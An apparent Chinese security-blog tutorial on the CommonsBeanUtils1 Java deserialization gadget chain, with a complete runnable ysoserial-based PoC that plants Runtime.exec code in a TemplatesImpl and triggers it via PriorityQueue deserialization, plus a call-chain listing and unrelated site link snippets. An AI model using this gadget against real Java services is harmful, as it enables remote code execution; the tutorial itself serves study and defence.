环境准备

JDK1.8(8u421) JDK8的版本应该都没什么影响,这里直接以我的镜像为准了、commons-beanutils:commons-beanutils:1.9.2、commons-collections:commons-collections:3.2、javassist:javassist:3.12.0.GA

mvn中加入以下依赖:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>

正文

CB链用到了CC2中的TemplatesImpl的内容,如果你对CC2链不太熟悉,可以先看一下这个:https://www.cnblogs.com/erosion2020/p/18553815

当你知道CC2中的攻击链的构成之后,你学CB链就会非常轻松,CB链也可以说是CC2链的一个变种,只是反序列化的点换成了commons-beanutils中的另一个类,也就是BeanComparator,下边来解释一下这个类是怎么触发TemplatesImpl的。

BeanComparator

BeanComparator 是 Java 中常见的一个类,通常用于在集合中对 Java Bean 对象进行比较排序。它实现了 Comparator 接口,目的是根据对象的某个或多个属性进行排序。在一些框架中(如 Apache Commons BeanUtils 或类似的工具库),BeanComparator 是一种常见的比较器实现,简化了比较操作,尤其是当比较的对象是 Java Bean 时。

基本作用

  • 通过指定的属性进行排序:它根据给定的 Java Bean 的某个属性值进行排序。比如,如果有一个 Person 类,它有 nameage 属性,可以使用 BeanComparator 来根据 nameage 进行升序或降序排序。
  • 灵活性BeanComparator 可以指定一个或多个属性进行排序,支持更复杂的排序逻辑。通过利用 Java 反射,BeanComparator 能够获取 Bean 的属性值并进行比较。

可以指定一个或多个属性进行排序,支持更复杂的排序逻辑这一句话是非常重要的,正是因为BeanComparator可以通过字段属性排序,所以导致了攻击链的触发。

代码分析

public class BeanComparator<T> implements Comparator<T>, Serializable {
// 属性字段
private String property;
// 内部封装了一个Comparator比较器
private final Comparator<?> comparator;
// 调用compare比较两个对象的值
public int compare(T o1, T o2) {
......
// PropertyUtils.getProperty是重点方法
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
.......
}
} PropertyUtils.getProperty(Object bean, String name) {
// 关注这个getProperty方法
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
// 会执行到这个方法
public Object getProperty(Object bean, String name) {
return this.getNestedProperty(bean, name);
}
public Object getNestedProperty(Object bean, String name) {
......
if (bean instanceof Map) {
bean = this.getPropertyOfMapBean((Map)bean, name);
} else if (this.resolver.isMapped(name)) {
bean = this.getMappedProperty(bean, name);
} else if (this.resolver.isIndexed(name)) {
bean = this.getIndexedProperty(bean, name);
} else {
// 重点关注这个方法,如果bean是我们构造的TemplatesImpl对象,则会触发这个方法
bean = this.getSimpleProperty(bean, name);
}
......
return bean;
}
// 这是最终触发调用链代码的方法
public Object getSimpleProperty(Object bean, String name) {
// getPropertyDescriptor可以理解为获取bean这个对象中的所有属性字段,如果这个字段存在getter方法,也会获取到
// 假设bean中存在info字段以及getInfo方法,则PropertyDescriptor中的字段信息如下:
// name字段为info
// readMethodName字段为getOutputProperties
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
// 在这里获取到了readMethodName所对应的Method对象
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
// 执行Method
// 如果这里的Method是我们精心构造的TemplatesImpl的getOutputProperties,那么我们的攻击链代码就可以被触发
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}

所以理清上边的思路之后,我们现在要做的事情就是构造一个TemplatesImpl对象,然后创建一个BeanComparator,把其中的property设置为TemplatesImpl的outputProperties字段,然后在触发了BeanComparator的compare方法时,如果中的T类型为TemplatesImpl,则最终会触发TemplatesImpl的getOutputProperties方法,然后触发我们的调用链

POC(基于ysoserial)

老规矩,这个还是ysoserial的代码拿过来改了,没有调用ysoserial中的工具类,不依赖工具库可以直接本地调试运行。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue; public class CommonsBeanUtils1 {
static String serialFileName = "commons-bean-utils1.ser";
public static void main(String[] args) throws Exception {
// cb1bySerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cb1bySerial() throws Exception {
//==========================CC2中的构造Templates的内容 START==========================
String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC); final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes}; Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte); Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr"); Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
//==========================CB1链触发点 START========================== // mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
// 这里是让其触发BigInteger.lowestSetBit属性方法,可以在set queue值的时候不报错。
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1")); // switch method called by comparator
// 然后通过反射来对应的属性值,这样就能避免触发额外的动作
Field property = comparator.getClass().getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties"); // switch contents of queue
// queue中的值也是一样,通过反射来set值就不会触发heapfiy等一系列动作
Field queueFiled = queue.getClass().getDeclaredField("queue");
queueFiled.setAccessible(true);
final Object[] queueArray = (Object[])queueFiled.get(queue);
queueArray[0] = templates;
queueArray[1] = templates; //====================CB1链触发END===================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
fos.close();
}
}

运行

尝试运行代码,来弹个cmd

调用链

调用链如下

  • PriorityQueue.readObject()

    • PriorityQueue.heapify()

      • PriorityQueue.siftDown()

        • PriorityQueue.siftDownUsingComparator()

          • BeanComparator.compare()
          • PropertyUtils.getProperty()
          • PropertyUtilsBean.getProperty()
          • PropertyUtilsBean.getNestedProperty()
          • PropertyUtilsBean.getSimpleProperty()
          • PropertyUtilsBean.getPropertyDescriptor()
          • PropertyUtilsBean.getReadMethod()
          • PropertyUtilsBean.invokeMethod()
            • TemplatesImpl.getOutputProperties()
            • TemplatesImpl.newTransformer()
            • TemplatesImpl.getTransletInstance()
              • TemplatesImpl.defineTransletClasses()
            • (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()

CommonsBeanUtils1(基于ysoserial)的更多相关文章

  1. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  2. 基于jsp+servlet图书管理系统之后台万能模板

    前奏: 刚开始接触博客园写博客,就是写写平时学的基础知识,慢慢发现大神写的博客思路很清晰,知识很丰富,非常又价值,反思自己写的,顿时感觉非常low,有相当长一段时间没有分享自己的知识.于是静下心来钻研 ...

  3. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  4. SpringMVC学习系列(12) 完结篇 之 基于Hibernate+Spring+Spring MVC+Bootstrap的管理系统实现

    到这里已经写到第12篇了,前11篇基本上把Spring MVC主要的内容都讲了,现在就直接上一个项目吧,希望能对有需要的朋友有一些帮助. 一.首先看一下项目结构: InfrastructureProj ...

  5. 基于jsp+servlet图书管理系统之后台用户信息插入操作

    前奏: 刚开始接触博客园写博客,就是写写平时学的基础知识,慢慢发现大神写的博客思路很清晰,知识很丰富,非常又价值,反思自己写的,顿时感觉非常low,有相当长一段时间没有分享自己的知识.于是静下心来钻研 ...

  6. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  7. 基于CentOS与VmwareStation10搭建hadoop环境

    基于CentOS与VmwareStation10搭建hadoop环境     目 录 1. 概述.... 1 1.1. 软件准备.... 1 1.2. 硬件准备.... 1 2. 安装与配置虚拟机.. ...

  8. SpringMVC学习(12):基于Hibernate+Spring+Spring MVC+Bootstrap的管理系统实现

    到这里已经写到第12篇了,前11篇基本上把Spring MVC主要的内容都讲了,现在就直接上一个项目吧,希望能对有需要的朋友有一些帮助. 一.首先看一下项目结构: InfrastructureProj ...

  9. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  10. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

随机推荐

  1. wget 提示 "无法验证 xxxx.xxx 的由 “xxx” 颁发的证书: 无法本地校验颁发者的权限。"

    有一天在使用 wget 下载文件时,出现了无法验证证书的提示: $ wget https://github.com/zayronxio/Mkos-Big-Sur/releases/download/0 ...

  2. 【Python】之pip安装报错问题:WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None))

    我想安装python第三方库,但是始终报安装失败 经查询得知,需要国内源,有如下地址: 阿里云 http://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https: ...

  3. 记录荒废了三年的四年.net开发的第三次面试,苏州斯莱克

    现在就业的确崩了 这次面试的时间是8月28号.距离上一次面试已经过去了一个月了,距离开始找工作已经过去了2个月.没多少找工作经验的我也体会到了什么叫就业崩了. 看了一线码农的采访计划后,我也把苏州列为 ...

  4. 【图文教程】Centos单机安装Redis

    1.1.安装Redis依赖 Redis是基于C语言编写的,因此首先需要安装Redis所需要的gcc依赖: yum install -y gcc tcl 1.2.上传安装包并解压 ​ 例如,凯哥将其放到 ...

  5. 利用水墨映客图床作为COS服务器

    目录 利用水墨映客作为COS服务器 利用picGo配合typora上传图片 安装PicGo(以Windows为例) 安装lankong插件 在SpringBoot中开发图片上传工具类 设置图片上传请求 ...

  6. SpringBoot启动项目报错:java.lang.UnsatisfiedLinkError: D:\files\software\jdk-15.0.1\jdk-17.0.3.1\bin\tcnative-1.dll: Can't load IA 32-bit .dll on a AMD 64-bit platform

    目录 问题描述 解决方法: 问题描述 在运行向的时候出现报错: java.lang.UnsatisfiedLinkError: D:\files\software\jdk-15.0.1\jdk-17. ...

  7. 关于 MemoryStream 的多次写入,模拟post请求,接收方 .net core web api无法读取到流数据,报 System.IO.IOException: Unexpected end of Stream, the content may have already be en read by another component.

    主要是业务不熟害死人.记录一下.真想抽自己几个嘴巴子 先说结论,知道这个结论的下面文字都是废话: 一.new MemoryStream 的时候,如果需要分次写入,只能是像下面这样子 MemoryStr ...

  8. Redisson 源码分析及实际应用场景之实现延迟队列

    redis 参考目录: 生产级Redis 高并发分布式锁实战1:高并发分布式锁如何实现 https://www.cnblogs.com/yizhiamumu/p/16556153.html 生产级Re ...

  9. 题解:AT_arc116_b [ARC116B] Products of Min-Max

    在题库里面乱翻,就翻到了. 因为在这道题里面子序列不需要考虑元素顺序,所以原序列无论是什么顺序都不会影响答案. 所以先把元素按照从大到小的顺序排列,然后考虑每个元素的贡献. 在当前序列中,对于元素 \ ...

  10. css+div实现各种常见边框

    css+div实现各种常见边框 一.效果图如下 二.实现代码 div { width: 120px; height: 100px; margin: 10px; float: left; text-al ...